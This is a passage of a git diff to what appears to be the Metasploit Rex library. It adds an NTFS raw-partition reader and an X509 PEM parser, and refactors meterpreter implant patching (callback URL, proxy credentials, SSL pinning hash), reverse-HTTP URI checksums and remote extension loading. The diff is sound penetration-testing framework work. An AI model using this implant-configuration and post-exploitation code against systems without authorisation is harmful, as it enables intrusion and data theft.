b/lib/rex/machscan/scanner.rb index 203d1e4c97..b1d9aaa5e4 100644 --- a/lib/rex/machscan/scanner.rb +++ b/lib/rex/machscan/scanner.rb @@ -125,7 +125,7 @@ class JmpRegScanner < Generic message = "push #{regname}; " + _parse_ret(mach.read(offset+2, retsize)) offset += 2 + retsize else - raise "wtf" + raise "Unexpected value at offset: #{offset}" end else regname = Rex::Arch::X86.reg_name32(byte1 & 0x7) diff --git a/lib/rex/parser/appscan_nokogiri.rb b/lib/rex/parser/appscan_nokogiri.rb index f09781cbdc..438eb9cb6a 100644 --- a/lib/rex/parser/appscan_nokogiri.rb +++ b/lib/rex/parser/appscan_nokogiri.rb @@ -141,9 +141,9 @@ module Rex def report_web_page(&block) return unless(in_issue && has_text) - return unless @state[:web_site] - return unless @state[:response_headers] - return unless @state[:uri] + return unless @state[:web_site].present? + return unless @state[:response_headers].present? + return unless @state[:uri].present? web_page_info = {} web_page_info[:web_site] = @state[:web_site] web_page_info[:path] = @state[:uri].path @@ -187,31 +187,21 @@ module Rex def record_request_and_response return unless(in_issue && has_text) - return unless @state[:web_site] + return unless @state[:web_site].present? really_original_traffic = unindent_and_crlf(@text) - split_traffic = really_original_traffic.split(/\r\n\r\n/) - request_headers_text = split_traffic.first - content_length = 0 - if request_headers_text =~ /\ncontent-length:\s+([0-9]+)/mni - content_length = $1.to_i - end - if(content_length > 0) and (split_traffic[1].to_s.size >= content_length) - request_body_text = split_traffic[1].to_s[0,content_length] - else - request_body_text = nil - end - response_headers_text = split_traffic[1].to_s[content_length,split_traffic[1].to_s.size].lstrip - request = request_headers_text - return unless(request && response_headers_text) - response_body_text = split_traffic[2] + request_headers, request_body, response_headers, response_body = really_original_traffic.split(/\r\n\r\n/) + return unless(request_headers && response_headers) req_header = Rex::Proto::Http::Packet::Header.new res_header = Rex::Proto::Http::Packet::Header.new - req_header.from_s request_headers_text.dup - res_header.from_s response_headers_text.dup + req_header.from_s request_headers.lstrip + res_header.from_s response_headers.lstrip + if response_body.blank? + response_body = '' + end @state[:request_headers] = req_header - @state[:request_body] = request_body_text + @state[:request_body] = request_body.lstrip @state[:response_headers] = res_header - @state[:response_body] = response_body_text + @state[:response_body] = response_body.lstrip end # Appscan tab-indents which makes parsing a little difficult. They diff --git a/lib/rex/parser/fs/ntfs.rb b/lib/rex/parser/fs/ntfs.rb new file mode 100644 index 0000000000..1b48901d23 --- /dev/null +++ b/lib/rex/parser/fs/ntfs.rb @@ -0,0 +1,257 @@ +# -*- coding: binary -*- +module Rex + module Parser + ### + # + # This class parses the contents of an NTFS partition file. + # Author : Danil Bazin <danil.bazin[at]hsc.fr> @danilbaz + # + ### + class NTFS + # + # Initialize the NTFS class with an already open file handler + # + DATA_ATTRIBUTE_ID = 128 + INDEX_ROOT_ID = 144 + INDEX_ALLOCATION_ID = 160 + def initialize(file_handler) + @file_handler = file_handler + data = @file_handler.read(4096) + # Boot sector reading + @bytes_per_sector = data[11, 2].unpack('v')[0] + @sector_per_cluster = data[13].unpack('C')[0] + @cluster_per_mft_record = data[64].unpack('c')[0] + if @cluster_per_mft_record < 0 + @bytes_per_mft_record = 2**(-@cluster_per_mft_record) + @cluster_per_mft_record = @bytes_per_mft_record.to_f / @bytes_per_sector / @sector_per_cluster + else + @bytes_per_mft_record = @bytes_per_sector * @sector_per_cluster * @cluster_per_mft_record + end + @bytes_per_cluster = @sector_per_cluster * @bytes_per_sector + @mft_logical_cluster_number = data[48, 8].unpack('Q<')[0] + @mft_offset = @mft_logical_cluster_number * @sector_per_cluster * @bytes_per_sector + @file_handler.seek(@mft_offset) + @mft = @file_handler.read(@bytes_per_mft_record) + end + + # + # Gather the MFT entry corresponding to his number + # + def mft_record_from_mft_num(mft_num) + mft_num_offset = mft_num * @cluster_per_mft_record + mft_data_attribute = mft_record_attribute(@mft)[DATA_ATTRIBUTE_ID]['data'] + cluster_from_attribute_non_resident(mft_data_attribute, mft_num_offset, @bytes_per_mft_record) + end + + # + # Get the size of the file in the $FILENAME (64) attribute + # + def real_size_from_filenameattribute(attribute) + filename_attribute = attribute + filename_attribute[48, 8].unpack('Q<')[0] + end + + # + # Gather the name of the file from the $FILENAME (64) attribute + # + def filename_from_filenameattribute(attribute) + filename_attribute = attribute + length_of_name = filename_attribute[64].ord + # uft16 *2 + d = ::Encoding::Converter.new('UTF-16LE', 'UTF-8') + d.convert(filename_attribute[66, (length_of_name * 2)]) + end + + # + # Get the file from the MFT number + # The size must be gived because the $FILENAME attribute + # in the MFT entry does not contain it + # The file is in $DATA (128) Attribute + # + def file_content_from_mft_num(mft_num, size) + mft_record = mft_record_from_mft_num(mft_num) + attribute_list = mft_record_attribute(mft_record) + if attribute_list[DATA_ATTRIBUTE_ID]['resident'] + return attribute_list[DATA_ATTRIBUTE_ID]['data'] + else + data_attribute = attribute_list[DATA_ATTRIBUTE_ID]['data'] + return cluster_from_attribute_non_resident(data_attribute)[0, size] + end + end + + # + # parse one index record and return the name, MFT number and size of the file + # + def parse_index(index_entry) + res = {} + filename_size = index_entry[10, 2].unpack('v')[0] + filename_attribute = index_entry[16, filename_size] + # Should be 8 bytes but it doesn't work + # mft_offset = index_entry[0.unpack('Q<',:8])[0] + # work with 4 bytes + mft_offset = index_entry[0, 4].unpack('V')[0] + res[filename_from_filenameattribute(filename_attribute)] = { + 'mft_offset' => mft_offset, + 'file_size' => real_size_from_filenameattribute(filename_attribute) } + res + end + + # + # parse index_record in $INDEX_ROOT and recursively index_record in + # INDEX_ALLOCATION + # + def parse_index_list(index_record, index_allocation_attribute) + offset_index_entry_list = index_record[0, 4].unpack('V')[0] + index_size = index_record[offset_index_entry_list + 8, 2].unpack('v')[0] + index_size_in_bytes = index_size * @bytes_per_cluster + index_entry = index_record[offset_index_entry_list, index_size] + res = {} + while index_entry[12, 4].unpack('V')[0] & 2 != 2 + res.update(parse_index(index_entry)) + # if son + if index_entry[12, 4].unpack('V')[0] & 1 == 1 + # should be 8 bytes length + vcn = index_entry[-8, 4].unpack('V')[0] + vcn_in_bytes = vcn * @bytes_per_cluster + res_son = parse_index_list(index_allocation_attribute[vcn_in_bytes + 24, index_size_in_bytes], index_allocation_attribute) + res.update(res_son) + end + offset_index_entry_list += index_size + index_size = index_record[offset_index_entry_list + 8, 2].unpack('v')[0] + index_size_in_bytes = index_size * @bytes_per_cluster + index_entry = index_record [offset_index_entry_list, index_size] + end + # if son on the last + if index_entry[12, 4].unpack('V')[0] & 1 == 1 + # should be 8 bytes length + vcn = index_entry[-8, 4].unpack('V')[0] + vcn_in_bytes = vcn * @bytes_per_cluster + res_son = parse_index_list(index_allocation_attribute[vcn_in_bytes + 24, index_size_in_bytes], index_allocation_attribute) + res.update(res_son) + end + res + end + + # + # return the list of files in attribute directory and their MFT number and size + # + def index_list_from_attributes(attributes) + index_root_attribute = attributes[INDEX_ROOT_ID] + index_record = index_root_attribute[16, index_root_attribute.length - 16] + if attributes.key?(INDEX_ALLOCATION_ID) + return parse_index_list(index_record, attributes[INDEX_ALLOCATION_ID]) + else + return parse_index_list(index_record, '') + end + end + + def cluster_from_attribute_non_resident(attribute, cluster_num = 0, size_max = ((2**31) - 1)) + lowvcn = attribute[16, 8].unpack('Q<')[0] + highvcn = attribute[24, 8].unpack('Q<')[0] + offset = attribute[32, 2].unpack('v')[0] + real_size = attribute[48, 8].unpack('Q<')[0] + attribut = '' + run_list_num = lowvcn + old_offset = 0 + while run_list_num <= highvcn + first_runlist_byte = attribute[offset].ord + run_offset_size = first_runlist_byte >> 4 + run_length_size = first_runlist_byte & 15 + run_length = attribute[offset + 1, run_length_size] + run_length += "\x00" * (8 - run_length_size) + run_length = run_length.unpack('Q<')[0] + + offset_run_offset = offset + 1 + run_length_size + run_offset = attribute[offset_run_offset, run_offset_size] + if run_offset[-1].ord & 128 == 128 + run_offset += "\xFF" * (8 - run_offset_size) + else + run_offset += "\x00" * (8 - run_offset_size) + end + run_offset = run_offset.unpack('q<')[0] + #offset relative to previous offset + run_offset += old_offset + + size_wanted = [run_length * @bytes_per_cluster, size_max - attribut.length].min + if cluster_num + (size_max / @bytes_per_cluster) >= run_list_num && (cluster_num < run_length + run_list_num) + run_list_offset_in_cluster = run_offset + [cluster_num - run_list_num, 0].max + run_list_offset = (run_list_offset_in_cluster) * @bytes_per_cluster + run_list_offset = run_list_offset.to_i + @file_handler.seek(run_list_offset) + + data = '' + while data.length < size_wanted + # Use a 4Mb block size to avoid target memory consumption + data << @file_handler.read([size_wanted - data.length, 2**22].min) + end + attribut << data + end + offset += run_offset_size + run_length_size + 1 + run_list_num += run_length + old_offset = run_offset + end + attribut = attribut[0, real_size] + attribut + end + + # + # return the attribute list from the MFT record + # deal with resident and non resident attributes (but not $DATA due to performance issue) + # if lazy = True, this function only gather essential non resident attributes + # (INDEX_ALLOCATION). Non resident attributes can still be gathered later with + # cluster_from_attribute_non_resident function. + # + def mft_record_attribute(mft_record, lazy=true) + attribute_list_offset = mft_record[20, 2].unpack('C')[0] + curs = attribute_list_offset + attribute_identifier = mft_record[curs, 4].unpack('V')[0] + res = {} + while attribute_identifier != 0xFFFFFFFF + # attribute_size=mft_record[curs + 4, 4].unpack('V')[0] + # should be on 4 bytes but doesnt work + attribute_size = mft_record[curs + 4, 2].unpack('v')[0] + # resident + if mft_record[curs + 8] == "\x00" + content_size = mft_record[curs + 16, 4].unpack('V')[0] + content_offset = mft_record[curs + 20, 2].unpack('v')[0] + res[attribute_identifier] = mft_record[curs + content_offset, content_size] + else + # non resident + if attribute_identifier == INDEX_ALLOCATION_ID or + (!lazy and attribute_identifier != DATA_ATTRIBUTE_ID) + res[attribute_identifier] = cluster_from_attribute_non_resident(mft_record[curs, attribute_size]) + else + res[attribute_identifier] = mft_record[curs, attribute_size] + end + end + if attribute_identifier == DATA_ATTRIBUTE_ID + res[attribute_identifier] = { + 'data' => res[attribute_identifier], + 'resident' => mft_record[curs + 8] == "\x00" } + end + curs += attribute_size + attribute_identifier = mft_record[curs, 4].unpack('V')[0] + end + res + end + + # + # return the file path in the NTFS partition + # + def file(path) + repertory = mft_record_from_mft_num(5) + index_entry = {} + path.split('\\').each do |r| + attributes = mft_record_attribute(repertory) + index = index_list_from_attributes(attributes) + unless index.key?(r) + fail ArgumentError, 'File path does not exist', caller + end + index_entry = index[r] + repertory = mft_record_from_mft_num(index_entry['mft_offset']) + end + file_content_from_mft_num(index_entry['mft_offset'], index_entry['file_size']) + end + end + end +end diff --git a/lib/rex/parser/openvas_nokogiri.rb b/lib/rex/parser/openvas_nokogiri.rb index fab0600716..877af4be5a 100644 --- a/lib/rex/parser/openvas_nokogiri.rb +++ b/lib/rex/parser/openvas_nokogiri.rb @@ -113,6 +113,8 @@ module Parser return if not in_tag("result") @state[:has_text] = true @text = nil + else + @text = nil end @state[:current_tag].delete name end diff --git a/lib/rex/parser/x509_certificate.rb b/lib/rex/parser/x509_certificate.rb new file mode 100644 index 0000000000..61a0a4b179 --- /dev/null +++ b/lib/rex/parser/x509_certificate.rb @@ -0,0 +1,92 @@ +# -*- coding: binary -*- + +require 'openssl' + +module Rex +module Parser + +### +# +# This class parses the contents of a PEM-encoded X509 certificate file containing +# a private key, a public key, and any appended glue certificates. +# +### +class X509Certificate + + # + # Parse a certificate in unified PEM format that contains a private key and + # one or more certificates. The first certificate is the primary, while any + # additional certificates are treated as intermediary certificates. This emulates + # the behavior of web servers like nginx. + # + # @param [String] ssl_cert + # @return [String, String, Array] + def self.parse_pem(ssl_cert) + cert = nil + key = nil + chain = nil + + certs = [] + ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem| + if pem =~ /PRIVATE KEY/ + key = OpenSSL::PKey::RSA.new(pem) + elsif pem =~ /CERTIFICATE/ + certs << OpenSSL::X509::Certificate.new(pem) + end + end + + cert = certs.shift + if certs.length > 0 + chain = certs + end + + [key, cert, chain] + end + + # + # Parse a certificate in unified PEM format from a file + # + # @param [String] ssl_cert_file + # @return [String, String, Array] + def self.parse_pem_file(ssl_cert_file) + data = '' + ::File.open(ssl_cert_file, 'rb') do |fd| + data << fd.read(fd.stat.size) + end + parse_pem(data) + end + + # + # Parse a certificate in unified PEM format and retrieve + # the SHA1 hash. + # + # @param [String] ssl_cert + # @return [String] + def self.get_cert_hash(ssl_cert) + hcert = parse_pem(ssl_cert) + + unless hcert and hcert[0] and hcert[1] + raise ArgumentError, "Could not parse a private key and certificate" + end + + Rex::Text.sha1_raw(hcert[1].to_der) + end + + # + # Parse a file that contains a certificate in unified PEM + # format and retrieve the SHA1 hash. + # + # @param [String] ssl_cert_file + # @return [String] + def self.get_cert_file_hash(ssl_cert_file) + data = '' + ::File.open(ssl_cert_file, 'rb') do |fd| + data << fd.read(fd.stat.size) + end + get_cert_hash(data) + end + +end + +end +end diff --git a/lib/rex/payloads/meterpreter/patch.rb b/lib/rex/payloads/meterpreter/patch.rb index 98354ba45f..4a3442255a 100644 --- a/lib/rex/payloads/meterpreter/patch.rb +++ b/lib/rex/payloads/meterpreter/patch.rb @@ -11,29 +11,23 @@ module Rex module Patch # Replace the transport string - def self.patch_transport! blob, ssl - - i = blob.index("METERPRETER_TRANSPORT_SSL") - if i - str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00" - blob[i, str.length] = str - end - + def self.patch_transport!(blob, ssl) + str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00" + patch_string!(blob, "METERPRETER_TRANSPORT_SSL", str) end # Replace the URL - def self.patch_url! blob, url - - i = blob.index("https://" + ("X" * 256)) - if i - str = url - blob[i, str.length] = str + def self.patch_url!(blob, url) + unless patch_string!(blob, "https://#{'X' * 512}", url) + # If the patching failed this could mean that we are somehow + # working with outdated binaries, so try to patch with the + # old stuff. + patch_string!(blob, "https://#{'X' * 256}", url) end - end # Replace the session expiration timeout - def self.patch_expiration! blob, expiration + def self.patch_expiration!(blob, expiration) i = blob.index([0xb64be661].pack("V")) if i @@ -44,7 +38,7 @@ module Rex end # Replace the session communication timeout - def self.patch_comm_timeout! blob, comm_timeout + def self.patch_comm_timeout!(blob, comm_timeout) i = blob.index([0xaf79257f].pack("V")) if i @@ -55,81 +49,114 @@ module Rex end # Replace the user agent string with our option - def self.patch_ua! blob, ua - - ua = ua[0,255] + "\x00" - i = blob.index("METERPRETER_UA\x00") - if i - blob[i, ua.length] = ua - end - + def self.patch_ua!(blob, ua) + patch_string!(blob, "METERPRETER_UA\x00", ua[0,255] + "\x00") end # Activate a custom proxy - def self.patch_proxy! blob, proxyhost, proxyport, proxy_type + def self.patch_proxy!(blob, proxyhost, proxyport, proxy_type) - i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") - if i - if proxyhost - if proxyhost.to_s != "" - proxyhost = proxyhost.to_s - proxyport = proxyport.to_s || "8080" - proxyinfo = proxyhost + ":" + proxyport - if proxyport == "80" - proxyinfo = proxyhost - end - if proxy_type.to_s == 'HTTP' - proxyinfo = 'http://' + proxyinfo - else #socks - proxyinfo = 'socks=' + proxyinfo - end - proxyinfo << "\x00" - blob[i, proxyinfo.length] = proxyinfo - end + if proxyhost && proxyhost.to_s != "" + proxyhost = proxyhost.to_s + proxyport = proxyport.to_s || "8080" + proxyinfo = proxyhost + ":" + proxyport + if proxyport == "80" + proxyinfo = proxyhost end + if proxy_type.to_s.upcase == 'HTTP' + proxyinfo = 'http://' + proxyinfo + else #socks + proxyinfo = 'socks=' + proxyinfo + end + proxyinfo << "\x00" + patch_string!(blob, "METERPRETER_PROXY#{"\x00" * 10}", proxyinfo) end - end # Proxy authentification - def self.patch_proxy_auth! blob, proxy_username, proxy_password, proxy_type + def self.patch_proxy_auth!(blob, proxy_username, proxy_password, proxy_type) - unless (proxy_username.nil? or proxy_username.empty?) or - (proxy_password.nil? or proxy_password.empty?) or - proxy_type == 'SOCKS' + return if proxy_type.nil? || proxy_type.upcase == 'SOCKS' - proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") - proxy_username = proxy_username << "\x00" - blob[proxy_username_loc, proxy_username.length] = proxy_username - - proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") - proxy_password = proxy_password << "\x00" - blob[proxy_password_loc, proxy_password.length] = proxy_password + if proxy_username && !proxy_username.empty? + unless patch_string!(blob, "METERPRETER_USERNAME_PROXY#{"\x00" * 10}", + proxy_username + "\x00") + raise ArgumentError, "Unable to patch Proxy Username" + end end + if proxy_password && !proxy_password.empty? + unless patch_string!(blob, "METERPRETER_PASSWORD_PROXY#{"\x00" * 10}", + proxy_password + "\x00") + raise ArgumentError, "Unable to patch Proxy Password" + end + end + end + + # Patch the ssl cert hash + def self.patch_ssl_check!(blob, ssl_cert_hash) + # SSL cert location is an ASCII string, so no need for + # WCHAR support + if ssl_cert_hash + i = blob.index("METERPRETER_SSL_CERT_HASH\x00") + if i + blob[i, ssl_cert_hash.length] = ssl_cert_hash + end + end end # Patch options into metsrv for reverse HTTP payloads - def self.patch_passive_service! blob, options + def self.patch_passive_service!(blob, options) - patch_transport! blob, options[:ssl] - patch_url! blob, options[:url] - patch_expiration! blob, options[:expiration] - patch_comm_timeout! blob, options[:comm_timeout] - patch_ua! blob, options[:ua] + patch_transport!(blob, options[:ssl]) + patch_url!(blob, options[:url]) + patch_expiration!(blob, options[:expiration]) + patch_comm_timeout!(blob, options[:comm_timeout]) + patch_ua!(blob, options[:ua]) + patch_ssl_check!(blob, options[:ssl_cert_hash]) patch_proxy!(blob, - options[:proxyhost], - options[:proxyport], + options[:proxy_host], + options[:proxy_port], options[:proxy_type] ) patch_proxy_auth!(blob, - options[:proxy_username], - options[:proxy_password], + options[:proxy_user], + options[:proxy_pass], options[:proxy_type] ) end + # + # Patch an ASCII value in the given payload. If not found, try WCHAR instead. + # + def self.patch_string!(blob, search, replacement) + result = false + + i = blob.index(search) + if i + blob[i, replacement.length] = replacement + result = true + else + i = blob.index(wchar(search)) + if i + r = wchar(replacement) + blob[i, r.length] = r + result = true + end + end + + result + end + + private + + # + # Convert the given ASCII string into a WCHAR string (dumb, but works) + # + def self.wchar(str) + str.to_s.unpack("C*").pack("v*") + end end end end diff --git a/lib/msf/core/handler/reverse_http/uri_checksum.rb b/lib/rex/payloads/meterpreter/uri_checksum.rb similarity index 74% rename from lib/msf/core/handler/reverse_http/uri_checksum.rb rename to lib/rex/payloads/meterpreter/uri_checksum.rb index 96e76baec3..7b3674fe93 100644 --- a/lib/msf/core/handler/reverse_http/uri_checksum.rb +++ b/lib/rex/payloads/meterpreter/uri_checksum.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- -module Msf - module Handler - module ReverseHttp +module Rex + module Payloads + module Meterpreter module UriChecksum # @@ -76,8 +76,11 @@ module Msf # Create a URI that matches a given checksum # # @param sum [Fixnum] The checksum value you are trying to create a URI for + # @param len [Fixnum] An optional length value for the created URI # @return [String] The URI string that checksums to the given value - def generate_uri_checksum(sum) + def generate_uri_checksum(sum,len=nil) + return generate_uri_checksum_with_length(sum, len) if len + chk = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a 32.times do uri = Rex::Text.rand_text_alphanumeric(3) @@ -90,6 +93,35 @@ module Msf return URI_CHECKSUM_PRECALC[sum] end + # Create an arbitrary length URI that matches a given checksum + # + # @param sum [Fixnum] The checksum value you are trying to create a URI for + # @param len [Fixnum] The length of the created URI + # @return [String] The URI string that checksums to the given value + def generate_uri_checksum_with_length(sum, len) + # Lengths shorter than 4 bytes are unable to match all possible checksums + # Lengths of exactly 4 are relatively slow to find for high checksum values + # Lengths of 5 or more bytes find a matching checksum fairly quickly (~80ms) + raise ArgumentError, "Length must be 5 bytes or greater" if len < 5 + + # Funny enough, this was more efficient than calculating checksum offsets + if len < 40 + loop do + uri = Rex::Text.rand_text_alphanumeric(len) + return uri if Rex::Text.checksum8(uri) == sum + end + end + + # The rand_text_alphanumeric() method becomes a bottleneck at around 40 bytes + # Calculating a static prefix flattens out the average runtime for longer URIs + prefix = Rex::Text.rand_text_alphanumeric(len-20) + + loop do + uri = prefix + Rex::Text.rand_text_alphanumeric(20) + return uri if Rex::Text.checksum8(uri) == sum + end + end + end end end diff --git a/lib/rex/peparsey/exceptions.rb b/lib/rex/peparsey/exceptions.rb index 0a138d0e86..c2725614fc 100644 --- a/lib/rex/peparsey/exceptions.rb +++ b/lib/rex/peparsey/exceptions.rb @@ -21,7 +21,7 @@ end class BoundsError < PeError end -class WtfError < PeError +class PeParseyError < PeError end class SkipError < PeError diff --git a/lib/rex/peparsey/pebase.rb b/lib/rex/peparsey/pebase.rb index 230b66a192..6dc7668207 100644 --- a/lib/rex/peparsey/pebase.rb +++ b/lib/rex/peparsey/pebase.rb @@ -1196,7 +1196,7 @@ class PeBase return section.rva_to_file_offset(rva) end end - raise WtfError, "wtf!", caller + raise PeParseyError, "No section contains RVA", caller end def vma_to_file_offset(vma) @@ -1205,7 +1205,7 @@ class PeBase def file_offset_to_rva(foffset) if foffset < 0 - raise WtfError, "lame", caller + raise PeParseyError, "Offset should not be less than 0. The value is: #{foffset}", caller end all_sections.each do |section| @@ -1214,7 +1214,7 @@ class PeBase end end - raise WtfError, "wtf! #{foffset}", caller + raise PeParseyError, "No section contains file offset #{foffset}", caller end def file_offset_to_vma(foffset) @@ -1245,7 +1245,7 @@ class PeBase section = _find_section_by_rva(rva) if !section - raise WtfError, "Cannot find rva! #{rva}", caller + raise PeParseyError, "Cannot find rva! #{rva}", caller end return section diff --git a/lib/rex/pescan/search.rb b/lib/rex/pescan/search.rb index 530c5503d2..2e415731ec 100644 --- a/lib/rex/pescan/search.rb +++ b/lib/rex/pescan/search.rb @@ -30,7 +30,7 @@ module Search begin buf = pe.read_rva(@address, suf) - rescue ::Rex::PeParsey::WtfError + rescue ::Rex::PeParsey::PeParseyError return end diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 8cc2b8e457..df0befed5c 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -40,6 +40,40 @@ class ClientCore < Extension # Core commands # ## + # + # + # Get a list of loaded commands for the given extension. + # + def get_loaded_extension_commands(extension_name) + request = Packet.create_request('core_enumextcmd') + request.add_tlv(TLV_TYPE_STRING, extension_name) + + begin + response = self.client.send_packet_wait_response(request, self.client.response_timeout) + rescue + # In the case where orphaned shells call back with OLD copies of the meterpreter + # binaries, we end up with a case where this fails. So here we just return the + # empty list of supported commands. + return [] + end + + # No response? + if response.nil? + raise RuntimeError, "No response was received to the core_enumextcmd request.", caller + elsif response.result != 0 + # This case happens when the target doesn't support the core_enumextcmd message. + # If this is the case, then we just want to ignore the error and return an empty + # list. This will force the caller to load any required modules. + return [] + end + + commands = [] + response.each(TLV_TYPE_STRING) { |c| + commands << c.value + } + + commands + end # # Loads a library on the remote meterpreter instance. This method @@ -153,27 +187,36 @@ class ClientCore < Extension if mod.nil? raise RuntimeError, "No modules were specified", caller end - # Get us to the installation root and then into data/meterpreter, where - # the file is expected to be - modname = "ext_server_#{mod.downcase}" - path = MeterpreterBinaries.path(modname, client.binary_suffix) - if opts['ExtensionPath'] - path = opts['ExtensionPath'] + # Query the remote instance to see if commands for the extension are + # already loaded + commands = get_loaded_extension_commands(mod.downcase) + + # if there are existing commands for the given extension, then we can use + # what's already there + unless commands.length > 0 + # Get us to the installation root and then into data/meterpreter, where + # the file is expected to be + modname = "ext_server_#{mod.downcase}" + path = MeterpreterBinaries.path(modname, client.binary_suffix) + + if opts['ExtensionPath'] + path = ::File.expand_path(opts['ExtensionPath']) + end + + if path.nil? + raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller + end + + # Load the extension DLL + commands = load_library( + 'LibraryFilePath' => path, + 'UploadLibrary' => true, + 'Extension' => true, + 'SaveToDisk' => opts['LoadFromDisk']) end - if path.nil? - raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller - end - - path = ::File.expand_path(path) - - # Load the extension DLL - commands = load_library( - 'LibraryFilePath' => path, - 'UploadLibrary' => true, - 'Extension' => true, - 'SaveToDisk' => opts['LoadFromDisk']) + # wire the commands into the client client.add_extension(mod, commands) return true @@ -413,11 +456,11 @@ class ClientCore < Extension :expiration => self.client.expiration, :comm_timeout => self.client.comm_timeout, :ua => client.exploit_datastore['MeterpreterUserAgent'], - :proxyhost => client.exploit_datastore['PROXYHOST'], - :proxyport => client.exploit_datastore['PROXYPORT'], - :proxy_type => client.exploit_datastore['PROXY_TYPE'], - :proxy_username => client.exploit_datastore['PROXY_USERNAME'], - :proxy_password => client.exploit_datastore['PROXY_PASSWORD'] + :proxy_host => client.exploit_datastore['PayloadProxyHost'], + :proxy_port => client.exploit_datastore['PayloadProxyPort'], + :proxy_type => client.exploit_datastore['PayloadProxyType'], + :proxy_user => client.exploit_datastore['PayloadProxyUser'], + :proxy_pass => client.exploit_datastore['PayloadProxyPass'] end diff --git a/lib/rex/post/meterpreter/extensions/priv/priv.rb b/lib/rex/post/meterpreter/extensions/priv/priv.rb index ddd037c992..71575128f9 100644 --- a/lib/rex/post/meterpreter/extensions/priv/priv.rb +++ b/lib/rex/post/meterpreter/extensions/priv/priv.rb @@ -50,8 +50,6 @@ class Priv < Extension raise RuntimeError, "elevator.#{binary_suffix} not found", caller end - elevator_path = ::File.expand_path( elevator_path ) - elevator_data = "" ::File.open( elevator_path, "rb" ) { |f| diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb index c1b303a90f..e331058e0f 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb @@ -61,7 +61,7 @@ class Dir < Rex::Post::Dir response = client.send_request(request) response.each(TLV_TYPE_FILE_NAME) { |file_name| - files << client.unicode_filter_encode( file_name.value ) + files << client.unicode_filter_encode(file_name.value) } return files @@ -79,6 +79,7 @@ class Dir < Rex::Post::Dir response = client.send_request(request) fname = response.get_tlvs(TLV_TYPE_FILE_NAME) + fsname = response.get_tlvs(TLV_TYPE_FILE_SHORT_NAME) fpath = response.get_tlvs(TLV_TYPE_FILE_PATH) sbuf = response.get_tlvs(TLV_TYPE_STAT_BUF) @@ -96,8 +97,9 @@ class Dir < Rex::Post::Dir files << { - 'FileName' => client.unicode_filter_encode( file_name.value ), - 'FilePath' => client.unicode_filter_encode( fpath[idx].value ), + 'FileName' => client.unicode_filter_encode(file_name.value), + 'FilePath' => client.unicode_filter_encode(fpath[idx].value), + 'FileShortName' => fsname[idx] ? fsname[idx].value : nil, 'StatBuf' => st, } } @@ -145,7 +147,7 @@ class Dir < Rex::Post::Dir response = client.send_request(request) - return client.unicode_filter_encode( response.get_tlv(TLV_TYPE_DIRECTORY_PATH).value ) + return client.unicode_filter_encode(response.get_tlv(TLV_TYPE_DIRECTORY_PATH).value) end # @@ -195,8 +197,8 @@ class Dir < Rex::Post::Dir def Dir.download(dst, src, recursive = false, force = true, &stat) self.entries(src).each { |src_sub| - dst_item = dst + ::File::SEPARATOR + client.unicode_filter_encode( src_sub ) - src_item = src + client.fs.file.separator + client.unicode_filter_encode( src_sub ) + dst_item = dst + ::File::SEPARATOR + client.unicode_filter_encode(src_sub) + src_item = src + client.fs.file.separator + client.unicode_filter_encode(src_sub) if (src_sub == '.' or src_sub == '..') next @@ -240,8 +242,8 @@ class Dir < Rex::Post::Dir # def Dir.upload(dst, src, recursive = false, &stat) ::Dir.entries(src).each { |src_sub| - dst_item = dst + client.fs.file.separator + client.unicode_filter_encode( src_sub ) - src_item = src + ::File::SEPARATOR + client.unicode_filter_encode( src_sub ) + dst_item = dst + client.fs.file.separator + client.unicode_filter_encode(src_sub) + src_item = src + ::File::SEPARATOR + client.unicode_filter_encode(src_sub) if (src_sub == '.' or src_sub == '..') next diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb index b93d0b4eb1..41606a2b7b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb @@ -91,9 +91,9 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO if( response.result == 0 ) response.each( TLV_TYPE_SEARCH_RESULTS ) do | results | files << { - 'path' => client.unicode_filter_encode( results.get_tlv_value( TLV_TYPE_FILE_PATH ).chomp( '\\' ) ), - 'name' => client.unicode_filter_encode( results.get_tlv_value( TLV_TYPE_FILE_NAME ) ), - 'size' => results.get_tlv_value( TLV_TYPE_FILE_SIZE ) + 'path' => client.unicode_filter_encode(results.get_tlv_value(TLV_TYPE_FILE_PATH).chomp( '\\' )), + 'name' => client.unicode_filter_encode(results.get_tlv_value(TLV_TYPE_FILE_NAME)), + 'size' => results.get_tlv_value(TLV_TYPE_FILE_SIZE) } end end @@ -138,7 +138,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO response = client.send_request(request) - return client.unicode_filter_encode( response.get_tlv_value(TLV_TYPE_FILE_PATH) ) + return client.unicode_filter_encode(response.get_tlv_value(TLV_TYPE_FILE_PATH)) end @@ -203,10 +203,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO alias delete rm end - # - # Performs a rename from oldname to newname - # - def File.mv(oldname, newname) + # + # Performs a rename from oldname to newname + # + def File.mv(oldname, newname) request = 